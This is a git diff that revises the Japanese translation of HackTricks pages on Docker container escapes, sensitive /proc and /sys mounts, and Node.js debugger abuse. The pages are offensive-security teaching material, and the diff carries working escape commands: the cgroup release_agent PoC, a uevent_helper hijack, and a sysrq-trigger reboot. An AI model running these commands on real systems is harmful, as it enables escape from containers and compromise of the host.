-[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) で説明されている2番目のテクニックは、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法を示しています(特定のケースでは、ファイルを削除します)。 +[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) で説明されている2番目のテクニックは、ユーザー名前空間でバインドマウントを悪用して、ホスト内のファイルに影響を与える方法を示しています(特定のケースでは、ファイルを削除します)。 -
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## CVE +## CVEs ### Runc exploit (CVE-2019-5736) -`docker exec` を root として実行できる場合(おそらく sudo で)、CVE-2019-5736 を悪用してコンテナから脱出し、特権を昇格させることができます([こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)に exploit があります)。このテクニックは、基本的に**ホスト内の** _**/bin/sh**_ **バイナリをコンテナから上書き**するものであり、docker exec を実行すると誰でもペイロードをトリガーできます。 +`docker exec`をrootとして実行できる場合(おそらくsudoで)、CVE-2019-5736を悪用してコンテナから脱出し、特権を昇格させることができます(悪用は[こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。このテクニックは基本的に、**ホスト内の**_**/bin/sh**_**バイナリをコンテナから上書き**するものであり、docker execを実行すると、誰でもペイロードをトリガーできます。 -ペイロードを適切に変更し、`go build main.go` で main.go をビルドします。生成されたバイナリは、実行のために docker コンテナに配置する必要があります。\ -実行時に `[+] Overwritten /bin/sh successfully` と表示されると、ホストマシンから次のコマンドを実行する必要があります: +ペイロードを適切に変更し、`go build main.go`でmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナに配置する必要があります。\ +実行時に、`[+] Overwritten /bin/sh successfully`と表示されると、ホストマシンから次のコマンドを実行する必要があります: `docker exec -it /bin/sh` -これにより、main.go ファイルに存在するペイロードがトリガーされます。 +これにより、main.goファイルに存在するペイロードがトリガーされます。 詳細については: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} -コンテナが脆弱である可能性のある他の CVE があります。リストは[こちら](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。 +コンテナが脆弱である可能性のある他のCVEについては、[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) でリストを見つけることができます。 {% endhint %} -## Docker カスタム脱出 +## Docker Custom Escape -### Docker 脱出サーフェス +### Docker Escape Surface -* **名前空間:** プロセスは名前空間を介して**他のプロセスと完全に分離**されている必要があります。そのため、名前空間により他のプロセスとの相互作用から脱出できません(デフォルトでは IPC、Unix ソケット、ネットワークサービス、D-Bus、他のプロセスの `/proc` を介して通信できません)。 -* **ルートユーザー:** プロセスを実行するデフォルトのユーザーはルートユーザーです(ただし、権限は制限されています)。 -* **機能:** Docker は以下の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Syscall:** これらは**ルートユーザーが呼び出せないシスコール**です(機能の不足 + Seccomp のため)。他のシスコールを使用して脱出を試みることができます。 +* **名前空間:** プロセスは名前空間を介して**他のプロセスと完全に分離**される必要があります。そのため、名前空間によって他のプロセスとのやり取りを回避することはできません(デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません)。 +* **ルートユーザー:** プロセスを実行しているユーザーはデフォルトでルートユーザーです(ただし、権限は制限されています)。 +* **機能:** Dockerは次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Syscalls:** これらは**ルートユーザーが呼び出せないシスコール**です(機能の不足+Seccompのため)。他のシスコールを使用して脱出を試みることができます。 {% tabs %} {% tab title="x64 syscalls" %} @@ -557,7 +567,7 @@ cat /proc/self/status | grep CapEff ``` {% endtab %} -{% tab title="syscall_bf.c" %}以下は、Dockerコンテナ内で特権昇格を行うためのシンプルな方法です。この手法は、Dockerコンテナ内で実行されているプロセスがホストマシンのカーネルシステムコールを直接呼び出すことに基づいています。これにより、ホストマシン上で特権操作を実行するための機会が生じます。この手法を使用すると、Dockerコンテナ内のプロセスがホストマシン上での特権操作を実行できる可能性があります。この手法を利用する攻撃者は、ホストマシン上での悪意ある操作を行うことができます。{% endtab %} +{% tab title="syscall_bf.c" %}syscall_bf.cファイルは、Dockerコンテナ内で実行される特権昇格攻撃のためのシェルコードを含んでいます。このシェルコードは、Linuxシステムコールを使用して特権昇格を行います。攻撃者がこのコードを実行することで、Dockerコンテナからホストマシンへの特権昇格が可能となります。{% endtab %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -621,7 +631,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
+
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index b525205d9..5b0b69302 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,36 +1,36 @@ -# Docker release\_agent cgroups escape +# Docker release_agent cgroups escape
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 -* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。 +* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンであり、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** -**詳細については、[元のブログ投稿](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)を参照してください。** これは要約です: +**詳細については、** [**元のブログ投稿**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** を参照してください。これは要約です: -元のPoC: +オリジナル PoC: ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -38,43 +38,43 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -証明のコンセプト(PoC)は、`release_agent`ファイルを作成し、その呼び出しをトリガーして、コンテナホストで任意のコマンドを実行する方法を示しています。以下は、関連する手順の概要です: +証明のコンセプト(PoC)は、`release_agent`ファイルを作成し、その呼び出しをトリガーしてコンテナホストで任意のコマンドを実行する方法を示しています。以下は、関連する手順の概要です: 1. **環境の準備:** -- `/tmp/cgrp`ディレクトリを作成して、cgroupのマウントポイントとして使用します。 -- RDMA cgroupコントローラをこのディレクトリにマウントします。RDMAコントローラが存在しない場合は、代替として`memory` cgroupコントローラを使用することが推奨されています。 +* `/tmp/cgrp`ディレクトリを作成して、cgroupのマウントポイントとして使用します。 +* RDMA cgroupコントローラをこのディレクトリにマウントします。RDMAコントローラが存在しない場合は、代替として`memory` cgroupコントローラを使用することが推奨されています。 ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` 2. **子Cgroupの設定:** - - マウントされたCgroupディレクトリ内に名前が"x"の子Cgroupが作成されます。 - - "x" Cgroupのnotify_on_releaseファイルに1を書き込むことで、"x" Cgroupの通知が有効になります。 +* マウントされたCgroupディレクトリ内に名前が"x"の子Cgroupが作成されます。 +* "x" Cgroupの通知を有効にするために、そのnotify\_on\_releaseファイルに1を書き込みます。 ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` 3. **リリースエージェントの設定:** -- ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。 -- 次に、cgroupの release_agent ファイルが取得したホストパスにある /cmd というスクリプトを実行するように設定されます。 +* ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。 +* 次に、cgroupの release\_agent ファイルが取得したホストパスにある /cmd というスクリプトを実行するように設定されます。 ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` 4. **/cmdスクリプトの作成と設定:** -- /cmdスクリプトはコンテナ内で作成され、ps auxを実行し、出力をコンテナ内の/outputというファイルにリダイレクトするように設定されます。ホスト上の/outputのフルパスが指定されます。 +* /cmdスクリプトはコンテナ内で作成され、ps auxを実行し、出力をコンテナ内の/outputというファイルにリダイレクトするように設定されます。ホスト上の/outputのフルパスが指定されます。 ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` 5. **攻撃のトリガー:** -- "x"の子cgroup内でプロセスが開始され、すぐに終了します。 -- これにより`release_agent`(/cmdスクリプト)がトリガーされ、ホストでps auxを実行し、出力をコンテナ内の/outputに書き込みます。 +* "x"の子cgroup内でプロセスが開始され、すぐに終了します。 +* これにより`release_agent`(/cmdスクリプト)がトリガーされ、ホスト上でps auxを実行し、出力をコンテナ内の/outputに書き込みます。 ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` ### [WhiteIntel](https://whiteintel.io) -
+
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 @@ -86,14 +86,14 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
-**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したり、PDF形式でHackTricksをダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!** * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローしてください。** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index f14e26823..304bd3057 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,23 +2,23 @@
-htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう! +htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする +- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
-
+
{% embed url="https://websec.nl/" %} -`/proc`および`/sys`の公正な名前空間分離なしでの公開は、攻撃面の拡大や情報漏洩など、重大なセキュリティリスクをもたらします。これらのディレクトリには機密ファイルが含まれており、誤って構成されたり、権限のないユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助長する情報が提供される可能性があります。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、パスベースの性質によりAppArmor保護がバイパスされ、`/host/proc`が保護されなくなります。 +`/proc`および`/sys`の適切な名前空間分離なしでの公開は、攻撃面の拡大や情報漏洩など、重大なセキュリティリスクをもたらします。これらのディレクトリには機密ファイルが含まれており、誤って構成されたり、権限のないユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助長する情報が提供される可能性があります。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、パスベースの性質によりAppArmor保護がバイパスされ、`/host/proc`が保護されなくなります。 **各潜在的な脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で見つけることができます。** @@ -26,7 +26,7 @@ HackTricksをサポートする他の方法: ### `/proc/sys` -このディレクトリは通常`sysctl(2)`を介してカーネル変数を変更することを許可し、いくつかの懸念のサブディレクトリを含んでいます。 +このディレクトリは通常、`sysctl(2)`を介してカーネル変数を変更することを許可し、いくつかの懸念のあるサブディレクトリを含んでいます。 #### **`/proc/sys/kernel/core_pattern`** @@ -54,7 +54,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認 #### **`/proc/sys/vm/panic_on_oom`** - [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で言及されています。 -- OOM条件が発生したときにカーネルがパニックするかOOMキラーを呼び出すかを制御するグローバルフラグです。 +- OOM条件が発生した場合にカーネルがパニックを起こすかOOMキラーを呼び出すかを制御するグローバルフラグです。 #### **`/proc/sys/fs`** @@ -63,17 +63,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認 #### **`/proc/sys/fs/binfmt_misc`** -- マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録することを可能にします。 +- マジックナンバーに基づいて非ネイティブのバイナリ形式のインタプリタを登録することを可能にします。 - `/proc/sys/fs/binfmt_misc/register`が書き込み可能である場合、特権昇格やルートシェルアクセスにつながる可能性があります。 - 関連するエクスプロイトと説明: -- [binfmt\_miscを使用した貧しいrootkit](https://github.com/toffan/binfmt\_misc) +- [binfmt\_miscを使用した貧乏人のルートキット](https://github.com/toffan/binfmt\_misc) - 詳細なチュートリアル:[ビデオリンク](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### `/proc`のその他 +### `/proc`のその他の項目 #### **`/proc/config.gz`** -- `CONFIG_IKCONFIG_PROC`が有効になっている場合、カーネル構成を明らかにする可能性があります。 +- `CONFIG_IKCONFIG_PROC`が有効になっている場合、カーネル構成を公開する可能性があります。 - 実行中のカーネルの脆弱性を特定するために攻撃者に役立ちます。 #### **`/proc/sysrq-trigger`** @@ -99,26 +99,26 @@ echo b > /proc/sysrq-trigger # ホストを再起動 #### **`/proc/[pid]/mem`** -- カーネルメモリデバイス`/dev/mem`とのインターフェースです。 +- カーネルメモリデバイス`/dev/mem`とやり取りします。 - 歴史的に特権昇格攻撃の脆弱性がありました。 - [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細に説明されています。 #### **`/proc/kcore`** - ELFコア形式でシステムの物理メモリを表します。 -- 読み取りはホストシステムおよび他のコンテナのメモリ内容を漏洩させる可能性があります。 +- 読み取りによりホストシステムや他のコンテナのメモリ内容が漏洩する可能性があります。 - 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。 - 2019年の[Dumping /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)での詳細な使用法。 #### **`/proc/kmem`** - カーネル仮想メモリを表す`/dev/kmem`の代替インターフェースです。 -- 読み取りと書き込みを許可し、したがってカーネルメモリの直接的な変更を可能にします。 +- 読み取りと書き込みを許可し、したがってカーネルメモリの直接変更を可能にします。 #### **`/proc/mem`** - 物理メモリを表す`/dev/mem`の代替インターフェースです。 -- 読み取りと書き込みを許可し、すべてのメモリの変更には仮想から物理アドレスを解決する必要があります。 +- 読み取りと書き込みを許可し、すべてのメモリの変更には仮想から物理アドレスへの解決が必要です。 #### **`/proc/sched_debug`** @@ -135,31 +135,31 @@ echo b > /proc/sysrq-trigger # ホストを再起動 #### **`/sys/kernel/uevent_helper`** - カーネルデバイス`uevents`を処理するために使用されます。 -- `/sys/kernel/uevent_helper`に書き込むと、`uevent`トリガー時に任意のスクリプトを実行できます。 +- `/sys/kernel/uevent_helper`に書き込むと、`uevent`トリガー時に任意のスクリプトが実行される可能性があります。 - **悪用の例**: %%%bash -### ペイロードを作成 +#### ペイロードを作成 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper -### コンテナのOverlayFSマウントからホストパスを見つける +#### コンテナのOverlayFSマウントからホストパスを見つける host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) -### uevent\_helperを悪意のあるヘルパーに設定 +#### uevent\_helperを悪意のあるヘルパーに設定 echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper -### ueventをトリガー +#### ueventをトリガー echo change > /sys/class/mem/null/uevent -### 出力を読む +#### 出力を読む cat /output %%% #### **`/sys/class/thermal`** -* 温度設定を制御し、DoS攻撃や物理的損害を引き起こす可能性があります。 +* 温度設定を制御し、DoS攻撃や物理的損傷を引き起こす可能性があります。 #### **`/sys/kernel/vmcoreinfo`** @@ -168,7 +168,7 @@ cat /output %%% #### **`/sys/kernel/security`** * `securityfs` インターフェースを収容し、AppArmorのようなLinuxセキュリティモジュールの構成を可能にします。 -* アクセスすることで、コンテナが自身のMACシステムを無効にする可能性があります。 +* アクセス権限を持つことで、コンテナがMACシステムを無効にすることができるかもしれません。 #### **`/sys/firmware/efi/vars` および `/sys/firmware/efi/efivars`** @@ -178,7 +178,7 @@ cat /output %%% #### **`/sys/kernel/debug`** * `debugfs` はカーネルに対する「ルールのない」デバッグインターフェースを提供します。 -* 制限のない性質から、セキュリティ問題の歴史があります。 +* 制限のない性質からくるセキュリティ問題の歴史があります。 ### 参考文献 @@ -186,7 +186,7 @@ cat /output %%% * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) -
+
{% embed url="https://websec.nl/" %} diff --git a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1f1fd4913..e3ba240b3 100644 --- a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -7,10 +7,10 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。 -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。 +- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** @@ -35,12 +35,12 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` -インスペクトされたプロセスを開始すると、次のようなものが表示されます: +以下のようなものが表示されると、検査されたプロセスが開始されます: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` -**CEF**(**Chromium Embedded Framework**)ベースのプロセスは、デバッガーを開くために`--remote-debugging-port=9222`というパラメータを使用する必要があります(SSRF保護は非常に似ています)。ただし、これらは**NodeJS**の**デバッグ**セッションを許可する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。 +プロセスは、**CEF** (**Chromium Embedded Framework**) ベースのものは、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要があります(SSRF保護は非常に似ています)。ただし、これらは **NodeJS** **debug** セッションを許可する代わりに、ブラウザと通信するために [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) を使用します。これはブラウザを制御するためのインターフェースですが、直接的な RCE はありません。 デバッグされたブラウザを起動すると、次のようなものが表示されます: ``` @@ -48,7 +48,7 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4 ``` ### ブラウザ、WebSockets、および同一オリジンポリシー -WebサイトはWebブラウザで開かれると、ブラウザのセキュリティモデルに従ってWebSocketおよびHTTPリクエストを行うことができます。**固有のデバッガーセッションIDを取得するためには、最初にHTTP接続が必要**です。**同一オリジンポリシー**は、Webサイトが**このHTTP接続**を行うことを防ぎます。[**DNS再バインディング攻撃**](https://en.wikipedia.org/wiki/DNS\_rebinding)****に対する追加のセキュリティ対策として、Node.jsは接続のための**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを検証します。 +WebサイトがWebブラウザで開かれると、ブラウザセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**固有のデバッガーセッションIDを取得するためには、最初にHTTP接続が必要**です。**同一オリジンポリシー**は、Webサイトが**このHTTP接続**を行うことを防ぎます。[**DNS再バインディング攻撃**](https://en.wikipedia.org/wiki/DNS\_rebinding)****に対する追加のセキュリティ対策として、Node.jsは接続のための**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを検証します。 {% hint style="info" %} この**セキュリティ対策により、インスペクターを悪用してコードを実行する**ことが防がれます(これはSSRF脆弱性を悪用して行うことができる)。 @@ -56,20 +56,20 @@ WebサイトはWebブラウザで開かれると、ブラウザのセキュリ ### 実行中プロセスでのインスペクターの開始 -実行中のnodejsプロセスに**シグナルSIGUSR1**を送信して、**デフォルトポートでインスペクターを開始**させることができます。ただし、十分な権限が必要なので、これによりプロセス内の情報に**特権アクセス**が得られるかもしれませんが、直接的な特権昇格は行われません。 +実行中のnodejsプロセスに**シグナルSIGUSR1**を送信して、**デフォルトポートでインスペクターを開始**させることができます。ただし、十分な権限が必要なので、これによりプロセス内の情報に**特権アクセス**が付与される可能性がありますが、直接的な特権昇格は行われません。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` {% hint style="info" %} -これはコンテナ内で便利です。`--inspect`を使用してプロセスを**シャットダウンして新しいプロセスを起動**することは**選択肢ではない**ため、**コンテナ**はプロセスとともに**終了**されます。 +コンテナ内でこれは便利です。`--inspect`でプロセスを**シャットダウンして新しいプロセスを起動**することは**選択肢ではない**ため、**コンテナ**はプロセスとともに**終了**されます。 {% endhint %} ### インスペクター/デバッガーに接続 